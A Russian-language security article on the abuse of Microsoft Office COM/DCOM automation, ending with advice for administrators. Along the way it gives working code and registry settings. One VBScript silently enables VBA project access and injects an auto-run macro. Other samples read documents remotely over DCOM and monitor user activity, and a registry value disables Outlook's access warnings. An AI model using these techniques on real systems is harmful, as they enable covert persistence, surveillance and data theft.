Программы электронного документооборота совершили настоящий прорыв, значительно облегчив работу офисных сотрудников. Но вскоре стало понятно, что можно продвинуться еще дальше, автоматизировав рутинные действия пользователей. У программируемых офисных приложений было явное преимущество на рынке. Visual Basic For Applications не удовлетворял всех потребностей: требовалась поддержка различных «внешних» языков, в том числе и скриптовых.
Как уже упоминалось в предыдущих статьях, разработка пакета была начата в те времена, когда о безопасности десктопных систем никто особенно не задумывался. Главной целью разработчиков было быстродействие, второстепенной— низкие требования к ресурсам системы. Соответственно, никто даже не пытался ограничивать возможности автоматизации приложений. Напротив, в их функциональность старались включить все, на что хватало фантазии и технических возможностей разработчиков. В дальнейшем эту необъятную функциональность пришлось искусственно ограничивать и тут же добавлять механизмы отключения ограничений ради совместимости со старыми решениями, что запутало все еще сильнее.
Конечно же, в основу новой программной платформы, которую назвали объектная модель (Microsoft Office Object Model), или Автоматизация Microsoft Office (Microsoft Office Automation), легла технология COM/OLE (последняя, в свою очередь, разрабатывалась в немалой степени с оглядкой на потребности пакета Office).
Вкратце суть технологии автоматизации Office можно описать следующим образом: сами приложения, их детали (например, меню или настройки безопасности), открытые документы и содержимое документов представляют собой для программы-клиента набор объектов, имеющих определенные свойства и методы. Например, объект Приложение может иметь свойство Коллекция Документов, отдельный Документ из которой имеет свойство Текст и метод Найти.
Объекты Microsoft Office доступны не только из макросов, но и из внешних программ на любых языках, поддерживающих COM. Последние могут быть компилируемыми программами на языках C++ или Delphi, управляемыми приложениями на Java или .Net, или же скриптами на VBScript и PowerShell.
try {
using namespace Word;
_ApplicationPtr word(L"Word.Application");
word->Visible = true;
word->Activate();
_DocumentPtr wdoc1 = word->Documents->Add();
RangePtr range = wdoc1->Content;
range->LanguageID = wdRussian;
range->Tables->Add(range,5,5);
wdoc1->SaveAs(&_variant_t("C:\\1test.doc"));
wdoc1->Close();
}
catch (_com_error& er) {}
Пример использования на C++$word = New-Object -ComObject "Word.application"
$word.Visible = $true
$document = $word.documents.Add()
$selection = $word.selection
$selection.font.size = 14
$selection.font.bold = 1
$selection.Style ="Title"
$selection.typeText("Nice Title")
$selection.ParagraphFormat.Alignment = "wdAlignParagraphCenter"
Пример использования на PowerShellОбъектная модель Office охватывает фактически всю функциональность пакета. Любое действие, которое можно выполнить из UI, можно также вызвать и программно. Такие действия, как сохранение на диск или чтение с диска, отправка почтовых сообщений, просмотр адресной книги, изменение настроек безопасности, добавление в документ макросов, да и само содержимое пользовательских документов представляют интерес с точки зрения безопасности.
Помимо этого, COM обеспечивает возможность программирования обратного отклика при возникновении определенных Событий, что позволяет программно отслеживать работу приложений, в том числе действия пользователя, в реальном времени.
Эти особенности позволяют создавать не только гибкие и многофункциональные системы автоматизации документооборота, но и вредоносные приложения, к примеру, отслеживающие отсылку писем Outlook и добавляющие вложения. При этом у вредоносного исполняемого кода будет минимальный размер, поскольку основная работа выполняется объектами Office. Это облегчает создание вредоносного кода, а также его распространение и сокрытие от антивирусных программ.
msoAutomationSecurity
С автоматизацией связан интересный момент, упоминавшийся ранее. Настройки безопасности приложений (те, что определяют возможность автозапуска макросов и другого активного содержимого из документов) в программной модели Office определяются переменной-«свойством» Application.AutomationSecurity. По умолчанию это свойство имеет значение msoAutomationSecurityLow, что позволяет запуск любого активного содержимого из открываемых автоматически документов. Настройки безопасности, выставленные пользователем в Trust Center или администратором при помощи административных шаблонов, сохраненные в реестре, не оказывают влияния на настройки безопасности приложений Microsoft Office, запущенных в режиме автоматизации. Для безопасной автоматической обработки документов свойство AutomationSecurity должно быть целенаправленно изменено программно во время исполнения.
Такая небольшая деталь может иметь огромное значение для компаний, в которых настроена автоматическая обработка получаемых извне (по электронной почте, из облачных хранилищ и т.п.) документов.
Доступ к объектной модели VBA
Как и для большинства других элементов приложений Microsoft Office,
возможность управления и модификации проектов и кода Visual Basic for Applications программным путем доступна через интерфейсы автоматизации. По умолчанию она отключена для повышения безопасности пакета и защиты от макровирусов. При попытке программно создать объект, имеющий отношение к VBA, вызывающей программе вернется ошибка:
Error: 6068
Programmatic access to Visual Basic Project is not trusted.
Если пользователю все же необходим программный доступ к VBA, он может разрешить эту возможность в настройках Trust Center:
Недостаток этого решения в том, что заданная таким образом настройка сохраняется в ветке реестра, доступной пользователю для модификации, например для Microsoft Word это:
HKEY_CURRENT_USER\Software\Microsoft\Office\ >> Версия Office << \Word\Security\AccessVBOM
Это значит, что любая программа, которой необходим доступ к объектной модели VBA, может «разрешить» себе эти действия совершенно самостоятельно. Ниже приведен код программы на VBScript, выставляющей этот флаг в реестре и записывающей код в проект VBA открытого в данный момент документа.
'получаем версию Office и путь к ключу реестра AccessVBOM
Set objWord = CreateObject("Word.Application")
dim regpath
regpath = "HKCU\Software\Microsoft\Office\" & objWord.Version & "\Word\Security\AccessVBOM"
objWord.Quit
'пауза для закрытия предыдущего экземпляра Word
WScript.Sleep 1000
'записываем значение, открывающее программный доступ к проектам VBA
Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite regpath, 1, "REG_DWORD"
'получаем запущенный экземпляр Word...
On Error Resume Next
Set objWord = GetObject(,"Word.Application")
If Err Then
'...или создаем новый
wscript.echo "app not running, starting..."
Set objWord = CreateObject("Word.Application")
objWord.Visible = True
objWord.Documents.Add()
End If
Err.Clear
Set objDoc = objWord.ActiveDocument
On Error Resume Next
set prj = objDoc.VBProject
If Err Then
wscript.echo "Error: " & Err.number & Err.Description
End If
Err.Clear
prj.VBComponents("ThisDocument").CodeModule.AddFromString ("Sub AutoOpen()"&vbCRLF&"MsgBox ""Hello world!"""&vbCRLF&"End Sub")
Настройка программного доступа к VBA может определяться также ключами реестра
HKLM\Software\Microsoft\Office\>> Версия Office <<\Word\Security\AccessVBOM
и
HKLM\SOFTWARE\Policies\Microsoft\Office\>> Версия Office <<\Word\Security\AccessVBOM
Эти ключи имеют преимущество перед содержащимися в ветке HKEY_CURRENT_USER. Их может изменить администратор, например, при помощи шаблонов групповых политик, заблокировав тем самым возможность редактирования этой настройки пользователем. Однако по умолчанию эти ключи отсутствуют.
Удаленное выполнение/DCOM
Технология COM изначально проектировалась в расчете на прозрачность местоположения: вызываемые компоненты могут являться библиотеками (DLL), загружаемыми в вызывающий процесс, либо в отдельный процесс-прокси, локально исполняемыми программами (EXE) или компонентами, расположенными на каком-либо другом компьютере (DCOM).
В зависимости от настроек методы вызова конкретного компонента могут быть различными, причем это может быть реализовано прозрачно и для клиента, и для сервера. Определенные изменения в реестре могут сделать любой зарегистрированный в системе компонент доступным для удаленного управления, в том числе анонимного. Однажды получив доступ к уязвимой системе, в дальнейшем злоумышленник может воспользоваться этой технологией для выполнения каких-либо действий от имени легального пользователя без необходимости сохранять на диске какие-либо исполняемые или интерпретируемые программы. Что касается Microsoft Office, то возможные действия включают чтение, создание и редактирование документов, добавление макросов и другого активного содержимого, чтение и рассылку электронной почты, получение содержимого адресной книги Outlook.
Например, можно сделать компоненты Microsoft Word доступными для удаленного управления, выполнив настройку вручную. При желании можно настроить доступ как с аутентификацией, так и без нее (для анонимного подключения). При этом приложения будут выполняться от имени интерактивного (осуществившего локальный вход в систему) пользователя.
Для настройки вручную необходимо выполнить следующие шаги:
- открыть порт DCOM в брандмауэре и добавить Microsoft Word в список разрешенных программ
- при помощи утилиты Dcomcnfg настроить удаленный доступ для компонента Microsoft Word 97 — 2003 Document
Один из этапов настройки компонента DCOM для Word
Естественно, те же настройки можно выполнить и программно.
Таким образом, объектная модель Microsoft Word доступна для удаленного управления.
hr = CoCreateInstanceEx (CLSID_Word,
NULL,
CLSCTX_REMOTE_SERVER,
&si, 1, rgmqi);
IUnknown* pUnknown = 0;
if (hr == S_OK)
{
pUnknown = (IUnknown*)rgmqi[0].pItf;
printf ("CoCreateInstanceEx OK\n");
}
else
{
printf ("CoCreateInstanceEx failed, error: 0x%X\n", hr);
return;
}
_Application* pApp;
hr = pUnknown->QueryInterface(__uuidof(_Application), (void**)&pApp);
pUnknown->Release ();
if(FAILED(hr))
{
printf ("QueryInterface (_Application) failed, error: 0x%X\n", hr);
return;
}
printf ("DCOM server on remote machine started!\n");
WCHAR* wszDocFileName = L"C:\\Users\\administrator\\Desktop\\important.docx";
VARIANT varResult;
DISPPARAMS dp = {0};
dp.cArgs = 1;
dp.cNamedArgs = 0;
dp.rgvarg = new VARIANT[dp.cArgs];
dp.rgvarg[0].vt = VT_BSTR;
dp.rgvarg[0].bstrVal = SysAllocString (wszDocFileName);
ZeroMemory(&varResult,sizeof(varResult));
hr=CallMethod(pApp->Documents,OLESTR("Open"),&dp,&varResult);
SysFreeString(dp.rgvarg[0].bstrVal);
delete []dp.rgvarg ;
IDispatch* IDWordDoc = varResult.pdispVal;
struct _Document * Copy = NULL;
IDWordDoc->QueryInterface (__uuidof(_Document), (LPVOID*)&Copy);
RangePtr pContent = Copy->Content;
printf (pContent->Text);
Copy->Close ();
pApp->Quit ();
Пример кода для Visual Studio, читающего содержимое заданного файла на удаленном компьютере
Отслеживание действий пользователя/События
Для отслеживания изменений в программах Microsoft Office объектная модель предоставляет стандартную для COM технологию точки соединения (Connection Points), экспортируя интерфейс IConnectionPointContainer. Поддерживаются различные типы событий: открытие, закрытие, сохранение документа, отправка почтовых сообщений, и т.д.
Подписаться на уведомления о событиях могут как подключаемые модули (плагины), так и клиенты автоматизации, работающие вне процесса программы Microsoft Office. Помимо легальных программ, призванных автоматизировать работу пользователя с документами, воспользоваться этой функциональностью скрыто может и вредоносное ПО.
Ниже приведен фрагмент текста программы, способной отслеживать такие действия пользователя в программе Microsoft Word, как открытие, закрытие документа, и отправка его на принтер. В каждом из случаев программа получает текст активного документа.
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CLSID CLSID_Word;
hr = CLSIDFromProgID(L"Word.Application",&CLSID_Word);
IUnknown* pUnk = NULL;
do {
hr = GetActiveObject (CLSID_Word, NULL, &pUnk);
Sleep (500);
}
while (hr != S_OK);
hr = OleRun(pUnk);
IConnectionPointContainer *pConnPtContainer;
hr = pUnk->QueryInterface(IID_IConnectionPointContainer,
(void **)&pConnPtContainer);
IConnectionPoint *pConnectionPoint;
hr = pConnPtContainer->FindConnectionPoint(__uuidof(Word::ApplicationEvents2),
&pConnectionPoint);
MyEventSink MySink;
DWORD dwSinkCookie =0;
hr = pConnectionPoint->Advise (&MySink, &dwSinkCookie);
pConnPtContainer->Release();
Применение для закрепления/выполнения кода в уязвимой системе
В пентестерской (и не только) практике иногда появляется необходимость оставить возможность доступа к компьютеру, которая не вызовет подозрений у пользователя или администраторов и не будет обнаружена антивирусом. Компонентная модель Office прекрасно подходит для таких целей. Хорошие описания некоторых вариантов составил Matt Nelson (@enigma0x3) (Excel, Outlook).
В первом случае используется программный доступ к Excel для запуска макроса, во втором Outlook для запуска произвольного приложения.
Предупреждения Outlook
Объектная модель Microsoft Outlook очень удобна для создателей malware тем, что позволяет легко редактировать и распространять почтовые сообщения, добавлять вложения, использовать адресную книгу, выполняя эти действия от лица легального пользователя. Также она дает возможность отслеживать действия пользователя, изменяя, например, созданное пользователем сообщение в момент отправки.
Использование возможностей DCOM позволяет производить эти действия удаленно, не сохраняя на уязвимом компьютере какой-либо исполняемый код, который может быть обнаружен антивирусными программами.
Для снижения вероятности использования программных интерфейсов Microsoft Outlook злонамеренным ПО, разработчики добавили пользовательские сообщения о программном доступе к Microsoft Outlook при попытках изменения или отправки сообщений, доступа к адресной книге.
Пользовательское сообщение о программном доступе к Microsoft Outlook
По умолчанию сообщение будет появляться только в том случае, если антивирусное ПО не установлено. То есть при установленном и обновленном антивирусе Outlook уже не будет предупреждать пользователя о подозрительной активности. Дело за малым — осуществить задуманное, не привлекая внимания антивируса.
В реестре эта опция сохраняется в подключе Security программы Microsoft Outlook, к примеру для Microsoft Office версии 2016 32-битной с платформой ClickToRun полный путь ключа:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Outlook\Security
Чтобы отключить предупреждения о подозрительной программной активности, необходимо добавить значение:ObjectModelGuard (DWORD) 0x2.
Изменить эти настройки в последних версиях Microsoft Office возможно средствами группового администрирования, либо через реестр. Возможность менять их через пользовательский интерфейс по умолчанию отключена.
В заключение
Ни одна из описанных выше особенностей Microsoft Office не является в полном смысле этого слова уязвимостью, а следовательно, и исправления их вряд ли стоит ожидать в обозримом будущем. Что может предпринять в этом случае бдительный системный администратор?
Если используется автоматизированная обработка документов Office, особенно из недоверенных источников, желательно убедиться, что настройки безопасности выставлены верно. Это можно сделать «скормив» автоматизированной системе документ с макросом. Заметим, что использование автоматизации может быть неочевидным, к примеру, сторонняя программа может вызывать приложения Microsoft Office для импорта данных из форматов .docx или .xlsx.
Желательна тщательная настройка пакета при помощи административных шаблонов.
Избежать серьезных последствий поможет обычное разграничение прав доступа, работа с Office исключительно из-под аккаунта, имеющего пользовательские привилегии. Брандмауэр и User Access Control — непременное условие безопасности Windows.
Полностью отключить автоматизацию, не нарушив функциональность пакета Microsoft Office, практически невозможно.